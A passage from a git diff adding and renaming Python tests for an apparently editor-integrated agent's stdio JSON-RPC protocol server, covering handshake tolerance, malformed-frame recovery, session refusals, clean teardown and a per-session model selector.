correlates the + reply it did receive.""" + async with stub_client(env=home) as client: + response = await client.request("initialize", {"protocolVersion": 1}, request_id="not-a-number") + + assert response["id"] == "not-a-number" + + @pytest.mark.parametrize("request_id", [0, -1, 2**53]) + async def test_awkward_but_legal_integer_ids_are_answered(self, home, request_id): + """``0`` is the one that catches a truthiness check on the id, and the + large value catches an agent that round-trips ids through a float.""" + async with stub_client(env=home) as client: + response = await client.request("initialize", {"protocolVersion": 1}, request_id=request_id) + + assert response["id"] == request_id + + +class TestConcurrency: + async def test_a_second_request_is_answered_while_the_first_is_suspended(self, home, project): + """Two requests in flight is legal, and this is the shape cancellation + depends on: an agent handling frames inline would leave the second frame + unread until the first finished, which for a prompt is never.""" + async with stub_client(env=home) as client: + await client.handshake() + session = await client.new_session(project) + slow = await client.send_request( + "session/prompt", {"sessionId": session, "prompt": [{"type": "text", "text": "hello"}]} + ) + fast = await client.request("initialize", {"protocolVersion": 1}) + + assert "result" in fast, "the handshake must be answered without waiting for the prompt" + answer = await asyncio.wait_for(slow, timeout=60.0) + assert "result" in answer + + +class TestToleranceAtTheHandshake: + async def test_a_version_string_is_read_rather_than_rejected(self, home): + """Failing the handshake over a type denies the client the one thing it + needs to decide what to do: which version the agent serves.""" + async with stub_client(env=home) as client: + result = await client.handshake(protocolVersion="2025-06-18") + + assert result["protocolVersion"] == 1 + + async def test_unknown_params_are_ignored(self, home): + async with stub_client(env=home) as client: + result = await client.handshake(clientInfo={"name": "stub"}, futureField=[1, 2, 3]) + + assert result["authMethods"] == [] + + async def test_the_declared_capabilities_are_a_legal_agent_frame(self, home): + async with stub_client(env=home) as client: + await client.handshake() + + validate_outbound(client.frames[0]) + + +class TestSessionRefusals: + async def test_a_relative_cwd_is_refused_with_the_reason_attached(self, home): + """``validate_override`` raises a bare ``ValueError``. A Python exception + is not an acceptable handshake failure, and a client cannot show a person + what to fix without the reason.""" + async with stub_client(env=home) as client: + await client.handshake() + response = await client.request("session/new", {"cwd": "relative/path", "mcpServers": []}) + + assert response["error"]["code"] == -32602 + assert response["error"]["data"]["field"] == "cwd" + assert "absolute" in response["error"]["message"] + + async def test_a_cwd_containing_the_agent_home_is_refused(self, home): + """Not an arbitrary rule: a per-turn checkpoint that adds everything under + the working directory cannot be saved by a ``.raven`` exclude when the + agent home is *inside* the work tree -- so a session rooted here would + commit provider keys into a shadow repository. + + The path is derived from the child's own ``HOME``, not from this + process's configuration. ``workspace_path`` defaults to + ``$HOME/.raven/workspace``, so the isolated home the fixture hands the + child *is* an ancestor of the agent home the child will refuse for -- + while reading it from ``load_config()`` here would name the operator's + directory, which the child no longer has and would not refuse. Nothing is + created either way: the refusal happens before a session exists. + """ + ancestor = home["HOME"] + + async with stub_client(env=home) as client: + await client.handshake() + response = await client.request("session/new", {"cwd": ancestor, "mcpServers": []}) + + assert response["error"]["code"] == -32602, response + + async def test_per_session_mcp_servers_are_refused_not_ignored(self, home, project): + async with stub_client(env=home) as client: + await client.handshake() + response = await client.request( + "session/new", + {"cwd": str(project), "mcpServers": [{"name": "s", "command": "true", "args": []}]}, + ) + + assert response["error"]["code"] == -32602 + assert response["error"]["data"]["field"] == "mcpServers" + + async def test_the_connection_survives_every_refusal(self, home, project): + async with stub_client(env=home) as client: + await client.handshake() + for params in ({"cwd": "rel", "mcpServers": []}, {"mcpServers": []}, {"cwd": str(project)}): + await client.request("session/new", params) + + assert await client.new_session(project) + + +class TestMalformedInput: + async def test_invalid_utf8_is_answered_and_the_next_frame_lands(self, home): + """Strict decoding rather than ``errors="replace"``: replacement would + accept a corrupted request and act on it.""" + async with stub_client(env=home) as client: + await client.write_bytes(b'{"jsonrpc":"2.0","id":1,"method":"\xff\xfe"}\n') + response = await client.request("initialize", {"protocolVersion": 1}) + + assert "result" in response + assert any(f.get("error", {}).get("code") == -32700 for f in client.frames) + + async def test_two_frames_in_one_write_are_both_answered(self, home): + async with stub_client(env=home) as client: + first = await client.send_request("initialize", {"protocolVersion": 1}, request_id="a") + payload = json.dumps({"jsonrpc": "2.0", "id": "b", "method": "initialize", "params": {}}).encode() + await client.write_bytes(payload + b"\n") + second = await client.send_request("initialize", {"protocolVersion": 1}, request_id="c") + + assert "result" in await asyncio.wait_for(first, 60.0) + assert "result" in await asyncio.wait_for(second, 60.0) + assert any(f.get("id") == "b" for f in client.frames) + + async def test_a_frame_split_across_writes_is_reassembled(self, home): + """What a client under load actually produces. An agent that treated each + read as a frame would answer a parse error for a perfectly good request.""" + async with stub_client(env=home) as client: + raw = json.dumps({"jsonrpc": "2.0", "id": "split", "method": "initialize", "params": {}}).encode() + await client.write_bytes(raw[:10]) + await asyncio.sleep(0.05) + await client.write_bytes(raw[10:] + b"\n") + + response = await client.request("initialize", {"protocolVersion": 1}, request_id="after") + + assert "result" in response + assert any(f.get("id") == "split" and "result" in f for f in client.frames) + + async def test_an_oversized_frame_is_answered_and_the_connection_survives(self, home): + """A pasted screenshot is one line of base64. Breaking the connection on a + long line would make an ordinary paste look like a crashed agent.""" + from raven.acp.stdio import MAX_FRAME_BYTES + + async with stub_client(env=home) as client: + await client.write_bytes(b"x" * (MAX_FRAME_BYTES + 1024) + b"\n") + response = await client.request("initialize", {"protocolVersion": 1}) + + assert "result" in response + assert any(f.get("error", {}).get("code") == -32600 for f in client.frames) + + async def test_a_large_but_legal_frame_goes_through(self, home, project): + """The other side of the cap: three megabytes is what one screenshot + looks like, and it must not be refused.""" + import base64 + + async with stub_client(env=home) as client: + await client.handshake() + session = await client.new_session(project) + data = base64.b64encode(b"\x89PNG\r\n\x1a\n" + b"p" * (3 * 1024 * 1024)).decode() + response = await client.request( + "session/prompt", + {"sessionId": session, "prompt": [{"type": "image", "data": data, "mimeType": "image/png"}]}, + timeout=120.0, + ) + + assert "result" in response + + +class TestNotifications: + async def test_a_cancel_for_a_session_that_never_existed_is_ignored(self, home): + """A client cancelling a session it already dropped is tidy, not broken -- + and a notification has no reply, so the only wrong answer is dying.""" + async with stub_client(env=home) as client: + await client.handshake() + await client.notify("session/cancel", {"sessionId": "acp:invented"}) + await client.notify("session/cancel", {}) + + assert "result" in await client.request("initialize", {"protocolVersion": 1}) + + async def test_a_protocol_level_cancel_is_ignored_safely(self, home): + """``$/cancel_request`` is explicitly optional: a receiver MAY act on it, + and ignoring it is conformant.""" + async with stub_client(env=home) as client: + await client.notify("$/cancel_request", {"id": "stub-1"}) + + assert "result" in await client.request("initialize", {"protocolVersion": 1}) + + async def test_an_unknown_method_is_answered_rather_than_dropped(self, home): + """A liveness probe or a newer client's method. Silence would leave the + client's promise pending for the life of the session.""" + async with stub_client(env=home) as client: + await client.handshake() + response = await client.request("ping", {}) + + assert response["error"]["code"] == -32601 + + +class TestPromptTurn: + async def test_a_turn_that_cannot_start_is_explained_and_still_ends(self, home, project): + """No provider is configured, so the engine has a build error. The rule + under test is that a prompt is never answered with a JSON-RPC error: the + client gets a stop reason, and the reason is said as message content. + """ + async with stub_client(env=home) as client: + await client.handshake() + session = await client.new_session(project) + response = await client.request( + "session/prompt", + {"sessionId": session, "prompt": [{"type": "text", "text": "hello"}]}, + ) + + assert "error" not in response, "erroring a prompt makes clients tear down the whole turn" + assert response["result"]["stopReason"] in {"end_turn", "refusal"} + said = client.text_of([f["params"]["update"] for f in client.frames if f.get("method") == "session/update"]) + assert said, "a turn that produced nothing and explained nothing is indistinguishable from a hang" + + async def test_a_prompt_of_nothing_but_a_resource_link_still_runs(self, home, project): + """The block Zed sends for every file mention, gated by no capability at + all. An agent with no branch for it sends an empty turn.""" + target = project / "notes.md" + target.write_text("hello\n") + async with stub_client(env=home) as client: + await client.handshake() + session = await client.new_session(project) + response = await client.request( + "session/prompt", + { + "sessionId": session, + "prompt": [{"type": "resource_link", "uri": target.as_uri(), "name": target.name}], + }, + ) + + assert "error" not in response + assert response["result"]["stopReason"] in {"end_turn", "refusal"} + + async def test_every_frame_the_agent_sent_is_a_legal_agent_frame(self, home, project): + """The whole session validated against the official schema, in the + direction the schema calls ``Agent``. A hand-written mapper drifting shows + up here rather than in a reviewer's reading.""" + async with stub_client(env=home) as client: + await client.handshake() + session = await client.new_session(project) + await client.request("session/prompt", {"sessionId": session, "prompt": [{"type": "text", "text": "hi"}]}) + + assert client.frames + for frame in client.frames: + validate_outbound(frame) + assert client.malformed == [], f"stdout carried non-protocol lines: {client.malformed[:3]}" + + +class TestTeardown: + async def test_closing_stdin_exits_zero(self, home): + """How an editor ends a session. A non-zero exit is reported to the user + as a crash.""" + async with stub_client(env=home) as client: + await client.handshake() + + assert client.returncode == 0, client.stderr.decode("utf-8", "replace")[-2000:] + + async def test_a_suspended_prompt_is_answered_when_the_client_leaves(self, home, project): + """Not observable by the client, which is gone -- but the handler has to + return through its own code so its turn slot is released and the engine is + not torn down underneath it. A process left behind is the visible symptom.""" + async with stub_client(env=home) as client: + await client.handshake() + session = await client.new_session(project) + await client.send_request( + "session/prompt", {"sessionId": session, "prompt": [{"type": "text", "text": "hi"}]} + ) + + assert client.returncode == 0, client.stderr.decode("utf-8", "replace")[-2000:] + + +class TestTheStubItself: + async def test_the_stub_only_sends_frames_a_real_client_could_send(self, home, project): + """A stub that sent an illegal frame would prove the agent tolerant of + something no client can produce. Checked in the schema's ``Client`` + direction, which is the mirror of what the agent's own frames are held to. + """ + frames = [ + {"jsonrpc": "2.0", "id": "a", "method": "initialize", "params": {"protocolVersion": 1}}, + {"jsonrpc": "2.0", "id": "b", "method": "session/new", "params": {"cwd": str(project), "mcpServers": []}}, + {"jsonrpc": "2.0", "method": "session/cancel", "params": {"sessionId": "acp:x"}}, + ] + for frame in frames: + validate_inbound(frame) diff --git a/tests/integration/test_acp_stdio_smoke.py b/tests/integration/test_acp_stdio_smoke.py new file mode 100644 index 00000000..c96ecf24 --- /dev/null +++ b/tests/integration/test_acp_stdio_smoke.py @@ -0,0 +1,210 @@ +"""The real ``raven acp`` binary: nothing but frames on stdout. + +The unit tests prove the descriptor is moved. This proves it holds for the +process an editor actually spawns, with the whole import graph loaded and loguru +initialised -- which is where a stray writer would come from in the first place. + +Marked ``integration`` because it spawns the binary; deselected by default, run +with ``-m integration`` or by pointing pytest at ``tests/integration``. +""" + +from __future__ import annotations + +import json +import os +import subprocess +import sys +import tempfile +from pathlib import Path + +import pytest + +pytestmark = pytest.mark.integration + +_TIMEOUT = 60.0 + + +def _raven_bin() -> Path: + """The console script next to the interpreter running the tests. + + Same derivation ``tui_commands`` uses for its own child, so a test and a + real launch resolve the same binary rather than whatever PATH happens to + hold. + """ + return Path(sys.executable).with_name("raven.exe" if sys.platform == "win32" else "raven") + + +def _isolated_env(home: Path | None = None) -> dict[str, str]: + """A child environment that cannot reach the developer's own installation. + + Three things, not one. ``RAVEN_HOME`` moves the runtime data -- ``raven acp`` + builds a full engine, which starts the cron service and the memory backend + there, so a test that inherited the developer's would run their schedules and + write into their sessions. ``HOME`` moves the config file, which + ``get_config_path`` reads from ``Path.home()`` whatever ``RAVEN_HOME`` says. + And the provider keys are emptied, because a credential in the environment is + read before either of those. + + Together they are what makes "no provider is configured, so the engine + reports a build error" true of the run rather than only of the temp + directory. + """ + from raven.providers.registry import PROVIDERS + + root = Path(tempfile.mkdtemp(prefix="acp-smoke-")) + user = root / "user" + user.mkdir(parents=True, exist_ok=True) + env = dict(os.environ) + env["RAVEN_HOME"] = str(home or root / "raven") + env["HOME"] = str(user) + # ``Path.home()`` reads this one on Windows. + env["USERPROFILE"] = str(user) + env.update({spec.env_key: "" for spec in PROVIDERS if getattr(spec, "env_key", None)}) + return env + + +def _run(stdin_bytes: bytes, *, home: Path | None = None) -> subprocess.CompletedProcess[bytes]: + """Run the binary against a throwaway agent home and a throwaway HOME.""" + binary = _raven_bin() + if not binary.exists(): + pytest.skip(f"raven console script not installed at {binary}") + env = _isolated_env(home) + return subprocess.run( + [str(binary), "acp"], + input=stdin_bytes, + capture_output=True, + timeout=_TIMEOUT, + check=False, + env=env, + ) + + +def _frames(stdout: bytes) -> list[dict]: + """Every stdout line, parsed. A line that is not a frame fails here. + + This is the assertion the whole module exists for, so it is deliberately + strict: no skipping blanks, no tolerating a banner. + """ + lines = stdout.decode("utf-8").splitlines() + frames = [] + for i, line in enumerate(lines): + try: + frame = json.loads(line) + except json.JSONDecodeError as exc: + pytest.fail(f"stdout line {i} is not a frame: {line[:200]!r} ({exc})") + assert isinstance(frame, dict), f"stdout line {i} is JSON but not an object: {line[:200]!r}" + assert frame.get("jsonrpc") == "2.0", f"stdout line {i} is not JSON-RPC: {line[:200]!r}" + frames.append(frame) + return frames + + +def test_a_request_is_answered_and_stdout_holds_only_frames(): + """One request in, one frame out, and nothing else on the channel. + + The agent logs an INFO record at startup naming its log file, and builds a + whole engine before answering. That startup is the test's own noise source: + if the fd claim or the log redirection were wrong, one of its records would + arrive here as an unparseable line. + """ + result = _run(b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":1}}\n') + + frames = _frames(result.stdout) + assert len(frames) == 1, f"expected exactly one frame, got {frames}" + assert frames[0]["id"] == 1 + assert frames[0]["result"]["protocolVersion"] == 1 + assert result.returncode == 0, f"stderr:\n{result.stderr.decode('utf-8', 'replace')[:2000]}" + + +def test_the_startup_log_record_does_not_reach_stdout(): + """Named explicitly rather than left implied by the parse check. + + ``acp: serving on stdio`` is written through loguru at startup. Finding it on + stdout would mean the channel is shared with the logger, which is the exact + failure this command exists to prevent. + """ + result = _run(b"") + + assert b"acp: serving on stdio" not in result.stdout + assert _frames(result.stdout) == [] + + +def test_malformed_input_is_answered_and_the_next_frame_still_lands(): + """A client that sends garbage must get an error and keep its session. + + Asserting on the frame *after* the garbage is what distinguishes recovery + from merely not crashing. + """ + result = _run( + b'this is not json\n{"jsonrpc":"2.0","id":2,"method":"session/new","params":{}}\n', + ) + + frames = _frames(result.stdout) + assert len(frames) == 2, f"expected a parse error then an answer, got {frames}" + assert frames[0]["id"] is None, "the id lived in the line that could not be read" + assert frames[0]["error"]["code"] == -32700 + assert frames[1]["id"] == 2 + assert frames[1]["error"]["code"] == -32600, "session/new before initialize is refused, not method-not-found" + assert result.returncode == 0 + + +def test_a_whole_handshake_runs_in_one_process(tmp_path): + """Three exchanges against the real binary: negotiate, mint, then a session + the agent does not have. + + The last one is the point. An agent that answered an unknown session by + minting a fresh one would look identical here until a user reopened a + conversation and found it empty. + """ + project = tmp_path / "project" + project.mkdir() + payload = ( + b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":1,"clientCapabilities":{}}}\n' + + json.dumps( + {"jsonrpc": "2.0", "id": 2, "method": "session/new", "params": {"cwd": str(project), "mcpServers": []}} + ).encode() + + b"\n" + + b'{"jsonrpc":"2.0","id":3,"method":"session/prompt","params":{"sessionId":"acp:nope","prompt":[]}}\n' + ) + + result = _run(payload, home=tmp_path / "home") + + # By id, not by position. Every inbound frame is handled in its own task -- + # that is what makes ``session/cancel`` readable while a prompt is suspended + # -- so a fast answer overtakes a slow one and the arrival order is not the + # send order. Here ``session/prompt`` for a session nobody has is a lookup + # miss while ``session/new`` mints a session and binds a working directory, + # so 3 lands before 2 whenever the machine is quick enough. Asserting the + # order was asserting a timing coincidence; JSON-RPC pairs answers by id for + # exactly this reason, and a client that needed the order could not pipeline + # at all. + answers = {f["id"]: f for f in _frames(result.stdout)} + assert sorted(answers) == [1, 2, 3] + assert answers[1]["result"]["authMethods"] == [] + assert answers[2]["result"]["sessionId"].startswith("acp:") + assert answers[3]["error"]["code"] == -32002 + assert result.returncode == 0, f"stderr:\n{result.stderr.decode('utf-8', 'replace')[:2000]}" + + +def test_a_batch_of_requests_is_all_answered(tmp_path): + """Piped input reaches EOF before the handlers have run at all. An agent that + cancelled its in-flight work on EOF would answer none of these.""" + payload = b"".join( + json.dumps({"jsonrpc": "2.0", "id": n, "method": "initialize", "params": {"protocolVersion": 1}}).encode() + + b"\n" + for n in range(1, 6) + ) + + result = _run(payload, home=tmp_path / "home") + + # The set, for the same reason as the handshake above: five concurrent tasks + # answer in whatever order they finish. What this test is about is that all + # five are answered at all. + assert sorted(f["id"] for f in _frames(result.stdout)) == [1, 2, 3, 4, 5] + + +def test_closing_stdin_exits_cleanly(): + """The editor closing the pipe is how an ACP session ends. It is not an + error, and a non-zero exit would be reported to the user as one.""" + result = _run(b"") + + assert result.returncode == 0, f"stderr:\n{result.stderr.decode('utf-8', 'replace')[:2000]}" diff --git a/tests/integration/test_tui_rpc_demo_smoke.py b/tests/integration/test_rpc_demo_smoke.py similarity index 99% rename from tests/integration/test_tui_rpc_demo_smoke.py rename to tests/integration/test_rpc_demo_smoke.py index 05898687..0715a85e 100644 --- a/tests/integration/test_tui_rpc_demo_smoke.py +++ b/tests/integration/test_rpc_demo_smoke.py @@ -9,7 +9,7 @@ Why pytest integration (subprocess) rather than direct dispatcher unit tests: v0.0.2 proves the **end-to-end** wire path ``Ink → unix socket → Python handler → JSON-RPC response → Ink render`` still -works for every P5-aligned method. Unit tests under ``tests/test_tui_rpc_*.py`` +works for every P5-aligned method. Unit tests under ``tests/test_rpc_*.py`` already cover handler correctness in isolation; this file guarantees the *wiring* doesn't regress. diff --git a/tests/integration/test_tui_rpc_production_smoke.py b/tests/integration/test_rpc_production_smoke.py similarity index 91% rename from tests/integration/test_tui_rpc_production_smoke.py rename to tests/integration/test_rpc_production_smoke.py index 68194fbd..c85a0b3b 100644 --- a/tests/integration/test_tui_rpc_production_smoke.py +++ b/tests/integration/test_rpc_production_smoke.py @@ -7,19 +7,19 @@ Why pytest integration (subprocess): an umbrella registration drift bug once let umbrella methods route correctly in dispatcher unit tests but fail -in production-path wiring. Unit tests under ``tests/test_tui_rpc_*.py`` cover +in production-path wiring. Unit tests under ``tests/test_rpc_*.py`` cover handler correctness; this file guarantees the *wiring* doesn't regress (handshake latched + every P5-aligned method returns ``result`` not ``error``). -Sibling: ``test_tui_rpc_demo_smoke.py`` (demo-runner end-to-end smoke). +Sibling: ``test_rpc_demo_smoke.py`` (demo-runner end-to-end smoke). Run via pytest:: - uv run pytest tests/integration/test_tui_rpc_production_smoke.py -v + uv run pytest tests/integration/test_rpc_production_smoke.py -v Or directly as a script (legacy invocation; same logic):: - uv run python tests/integration/test_tui_rpc_production_smoke.py + uv run python tests/integration/test_rpc_production_smoke.py """ from __future__ import annotations diff --git a/tests/integration/test_tui_cancel_inflight_e2e.py b/tests/integration/test_tui_cancel_inflight_e2e.py index ffc59608..85a190f5 100644 --- a/tests/integration/test_tui_cancel_inflight_e2e.py +++ b/tests/integration/test_tui_cancel_inflight_e2e.py @@ -26,12 +26,12 @@ import pytest +from raven.rpc.dispatcher import Dispatcher +from raven.rpc.methods.turn import clear_active, register_turn_methods +from raven.rpc.server import RpcServer +from raven.rpc.spine import build_tui +from raven.rpc.subscriptions import SubscriptionEmitter from raven.spine import StreamDelta, TurnOutcome, Usage -from raven.tui_rpc.dispatcher import Dispatcher -from raven.tui_rpc.methods.turn import clear_active, register_turn_methods -from raven.tui_rpc.server import RpcServer -from raven.tui_rpc.spine import build_tui -from raven.tui_rpc.subscriptions import SubscriptionEmitter SESSION_KEY = "tui:default" @@ -108,7 +108,7 @@ async def _drain_events(client: socket.socket, *, duration: float = 0.6) -> list @pytest.fixture(autouse=True) def _clear_active_turns(): - from raven.tui_rpc.methods import turn as _turn_mod + from raven.rpc.methods import turn as _turn_mod _turn_mod._active_turns.clear() yield diff --git a/tests/test_acp_config_options.py b/tests/test_acp_config_options.py new file mode 100644 index 00000000..6d7efe37 --- /dev/null +++ b/tests/test_acp_config_options.py @@ -0,0 +1,460 @@ +"""The model selector, over the protocol's stable configuration surface. + +What is stable is the point of this file. ``session/set_model`` does not exist in +the schema and neither does ``models.availableModels`` -- both appear in older +material -- so the channel is a generic option list with one entry carrying +``category: "model"``. An agent that waited for either of the other two would +never be asked to switch a model. + +Two of raven's own facts are asserted here as *visible* rather than merely true: +the switch is process-wide, and it is refused during a turn. Both are stated in +the option's ``description``, which the schema declares as text for the client to +display -- so a person reads the caveat where they make the choice, not in a +document they will not open. +""" + +from __future__ import annotations + +import pytest + +from raven.acp.config_options import ( + MAX_MODELS_PER_PROVIDER, + MODEL_DESCRIPTION, + MODEL_OPTION_ID, + model_option, + set_model, +) +from tests.acp_schema import validate_def + + +def _catalogue(**overrides): + options = { + "model": "sonnet-5", + "provider": "anthropic", + "providers": [ + { + "slug": "anthropic", + "name": "Anthropic", + "authenticated": True, + "models": ["sonnet-5", "opus-5"], + "model_labels": {"sonnet-5": "Claude Sonnet 5", "opus-5": "Claude Opus 5"}, + }, + { + "slug": "openai", + "name": "OpenAI", + "authenticated": False, + "models": ["gpt-9"], + "model_labels": {}, + }, + ], + } + options.update(overrides) + return options + + +def _caller(catalogue=None, *, error: Exception | None = None): + calls: list[tuple[str, dict]] = [] + + async def call(method: str, params: dict): + calls.append((method, params)) + if error is not None: + raise error + if method == "model.options": + return _catalogue() if catalogue is None else catalogue + return {"applied": True} + + return call, calls + + +class TestTheOffer: + async def test_it_is_a_model_categorised_select_and_matches_the_schema(self): + call, _ = _caller() + + option = await model_option(call) + + assert option["id"] == MODEL_OPTION_ID + assert option["category"] == "model", "the category is how a client finds the model picker" + assert option["type"] == "select" + validate_def("SessionConfigOption", option) + + async def test_the_caveats_are_where_a_person_will_read_them(self): + """The schema declares ``description`` as text for the client to display, + and what it has to say is the scope: the switch binds this session and + leaves the installation default alone, and a turn already running keeps + the model it started on. Neither is inferable from the protocol's shape, + and the earlier copy said the opposite of both.""" + call, _ = _caller() + + option = await model_option(call) + + assert option["description"] == MODEL_DESCRIPTION + assert "scoped to this session" in option["description"] + assert "during a turn is allowed" in option["description"] + + async def test_the_current_value_is_read_back_for_the_session(self): + """The switch is session-scoped, so the value shown has to be the + session's. Asked without the id, ``model.options`` answers from the + installation default and a switch that applied would report as though it + had not.""" + call, calls = _caller() + + await model_option(call, session_id="acp:s1") + + assert calls == [("model.options", {"session_id": "acp:s1"})] + + async def test_with_no_session_yet_it_asks_for_the_installation_default(self): + """``initialize`` has no session to ask about, and sending a null id + would be a parameter the runtime has to reject or ignore.""" + call, calls = _caller() + + await model_option(call) + + assert calls == [("model.options", {})] + + async def test_the_current_value_names_its_provider(self): + """Stored the way every other surface stores it, so the value a client + sends back is the one ``config.set`` already understands.""" + call, _ = _caller() + + option = await model_option(call) + + assert option["currentValue"] == "anthropic/sonnet-5" + + async def test_the_current_value_is_always_selectable(self): + """A dropdown whose current value is not among its options renders with + nothing selected. A model configured by hand, or newer than the bundled + catalogue, is a real case -- so it is added rather than hidden.""" + call, _ = _caller(_catalogue(model="my-local-finetune", provider="custom")) + + option = await model_option(call) + + values = [o["value"] for group in option["options"] for o in group["options"]] + assert option["currentValue"] in values + validate_def("SessionConfigOption", option) + + async def test_options_are_grouped_by_provider_with_labels_as_descriptions(self): + call, _ = _caller() + + option = await model_option(call) + + groups = {group["group"]: group for group in option["options"]} + assert list(groups) == ["anthropic"] + assert groups["anthropic"]["name"] == "Anthropic" + assert groups["anthropic"]["options"][0] == { + "value": "anthropic/sonnet-5", + "name": "sonnet-5", + "description": "Claude Sonnet 5", + } + + async def test_a_catalogue_that_already_qualifies_its_ids_is_not_qualified_twice(self): + """Measured against the real catalogue, which does qualify them: the + fixtures above use bare ids, so nothing here would have caught + ``anthropic/anthropic/claude-opus-5`` -- a value ``config.set`` refuses + and a dropdown nobody can use.""" + call, _ = _caller( + _catalogue( + model="anthropic/opus-5", + providers=[ + { + "slug": "anthropic", + "name": "Anthropic", + "authenticated": True, + "models": ["anthropic/opus-5", "anthropic/sonnet-5"], + "model_labels": {}, + } + ], + ) + ) + + option = await model_option(call) + + values = [o["value"] for group in option["options"] for o in group["options"]] + assert values == ["anthropic/opus-5", "anthropic/sonnet-5"] + assert option["currentValue"] == "anthropic/opus-5" + assert [group["group"] for group in option["options"]] == ["anthropic"], ( + "the current model resolved inside its own group, so no separate Current group is needed" + ) + + async def test_the_visible_name_drops_the_provider_it_is_already_grouped_under(self): + call, _ = _caller( + _catalogue( + providers=[ + { + "slug": "anthropic", + "name": "Anthropic", + "authenticated": True, + "models": ["anthropic/opus-5"], + "model_labels": {}, + } + ] + ) + ) + + option = await model_option(call) + + group = next(g for g in option["options"] if g["group"] == "anthropic") + assert group["options"][0]["name"] == "opus-5", "saying the same word twice" + + async def test_the_provider_in_use_is_offered_even_when_it_reports_no_credential(self): + """``authenticated`` reports whether raven's own config holds a + credential. Measured on a machine where every provider reported false + while ``anthropic/claude-opus-4-5`` was answering: filtering on that flag + alone hid every model that worked.""" + call, _ = _caller( + _catalogue( + providers=[ + { + "slug": "anthropic", + "name": "Anthropic", + "authenticated": False, + "models": ["sonnet-5", "opus-5"], + "model_labels": {}, + } + ] + ) + ) + + option = await model_option(call) + + assert [group["group"] for group in option["options"]] == ["anthropic"] + assert len(option["options"][0]["options"]) == 2 + + async def test_an_unauthenticated_provider_is_left_out(self): + """Its ids would be selectable and every selection would fail on a + missing credential -- a dropdown that lies about what it can do.""" + call, _ = _caller() + + option = await model_option(call) + + assert not any(group["group"] == "openai" for group in option["options"]) + + async def test_a_provider_with_no_models_is_left_out(self): + call, _ = _caller( + _catalogue(providers=[{"slug": "anthropic", "name": "A", "authenticated": True, "models": []}]) + ) + + option = await model_option(call) + + assert [group["group"] for group in option["options"]] == ["current"], ( + "the empty provider contributes nothing, and the model in use is still worth offering" + ) + + async def test_a_long_catalogue_is_capped(self): + """Providers with hundreds of ids exist, and a client rendering all of + them is a client nobody can pick from.""" + call, _ = _caller( + _catalogue( + providers=[ + { + "slug": "big", + "name": "Big", + "authenticated": True, + "models": [f"m{n}" for n in range(MAX_MODELS_PER_PROVIDER + 20)], + } + ] + ) + ) + + option = await model_option(call) + + big = next(group for group in option["options"] if group["group"] == "big") + assert len(big["options"]) == MAX_MODELS_PER_PROVIDER + + async def test_the_model_in_use_is_offered_even_with_no_catalogue_at_all(self): + """The check for "nothing to offer" has to come *after* the current value + is considered. A working installation whose credentials come from the + environment reports no provider at all, and returning early on the group + list alone hid the model that was actually running.""" + call, _ = _caller(_catalogue(providers=[])) + + option = await model_option(call) + + assert option["currentValue"] == "anthropic/sonnet-5" + assert [group["group"] for group in option["options"]] == ["current"] + validate_def("SessionConfigOption", option) + + async def test_nothing_configured_and_nothing_running_offers_nothing(self): + """An option whose list is empty is a dropdown a person can open and not + choose from, which reads as broken rather than as "set this up first".""" + call, _ = _caller(_catalogue(model="", provider="", providers=[])) + + assert await model_option(call) is None + + @pytest.mark.parametrize("catalogue", ["nope", {}, {"providers": "lots"}, {"model": ""}, {"providers": [None, 5]}]) + async def test_a_malformed_catalogue_offers_nothing(self, catalogue): + call, _ = _caller(catalogue) + + assert await model_option(call) is None + + async def test_a_catalogue_that_is_literally_none_offers_nothing(self): + """Split out because the fixture reads ``None`` as "use the default".""" + + async def call(method: str, params: dict): + return None + + assert await model_option(call) is None + + async def test_a_corrupt_provider_entry_costs_only_itself(self): + call, _ = _caller( + _catalogue( + providers=[ + None, + 5, + {"name": "no slug", "authenticated": True, "models": ["x"]}, + {"slug": "anthropic", "name": "Anthropic", "authenticated": True, "models": ["sonnet-5"]}, + ] + ) + ) + + option = await model_option(call) + + assert [group["group"] for group in option["options"]] == ["anthropic"] + + async def test_a_failing_catalogue_does_not_fail_the_session(self): + """This is asked during ``session/new``. A missing model surface must not + take the handshake down with it.""" + call, _ = _caller(error=RuntimeError("provider registry is unreachable")) + + assert await model_option(call) is None + + +class TestApplying: + async def test_it_writes_through_the_runtimes_own_setter(self): + call, calls = _caller() + + await set_model(call, session_id="acp:s1", value="anthropic/opus-5") + + assert calls == [ + ("model.options", {"session_id": "acp:s1"}), + ( + "config.set", + { + "key": "model", + "value": "anthropic/opus-5", + "provider": "anthropic", + "session_id": "acp:s1", + }, + ), + ] + + async def test_without_the_provider_every_selection_is_refused(self): + """``config.set`` requires the provider as its own field -- a model id + does not name whose credential serves it -- so a call that sends only the + value fails before applying anything. Every model switch through this + surface did.""" + call, calls = _caller() + + await set_model(call, session_id="acp:s1", value="anthropic/opus-5") + + applied = [params for method, params in calls if method == "config.set"] + assert applied and applied[0].get("provider"), "the write must name a provider" + + async def test_the_provider_is_looked_up_rather_than_split_off_the_value(self): + """A gateway serving a vendor's already-qualified id is the case the + runtime's separate field exists for: ``openrouter`` offering + ``anthropic/claude-haiku-4-5`` bills OpenRouter, and splitting the string + would have named Anthropic and spent a credential nobody chose.""" + catalogue = { + "model": "openrouter/x", + "provider": "openrouter", + "providers": [ + {"slug": "openrouter", "authenticated": True, "models": ["anthropic/claude-haiku-4-5"]}, + ], + } + call, calls = _caller(catalogue) + + await set_model(call, session_id="acp:s1", value="anthropic/claude-haiku-4-5") + + applied = [params for method, params in calls if method == "config.set"] + assert applied[0]["provider"] == "openrouter" + + async def test_a_tie_goes_to_the_provider_already_in_use(self): + """Two providers can offer the same option value. Of the two, the one the + session is already running on is the credential the person picked.""" + catalogue = { + "model": "anthropic/claude-haiku-4-5", + "provider": "anthropic", + "providers": [ + {"slug": "openrouter", "authenticated": True, "models": ["anthropic/claude-haiku-4-5"]}, + {"slug": "anthropic", "authenticated": True, "models": ["claude-haiku-4-5"]}, + ], + } + call, calls = _caller(catalogue) + + await set_model(call, session_id="acp:s1", value="anthropic/claude-haiku-4-5") + + applied = [params for method, params in calls if method == "config.set"] + assert applied[0]["provider"] == "anthropic" + + async def test_a_model_no_provider_offers_is_refused_rather_than_guessed(self): + """Inventing a provider here would spend a credential the person never + chose, so a value this catalogue cannot place is refused instead.""" + call, calls = _caller() + + with pytest.raises(ValueError): + await set_model(call, session_id="acp:s1", value="nobody/serves-this") + + assert [method for method, _ in calls] == ["model.options"], "nothing was applied" + + async def 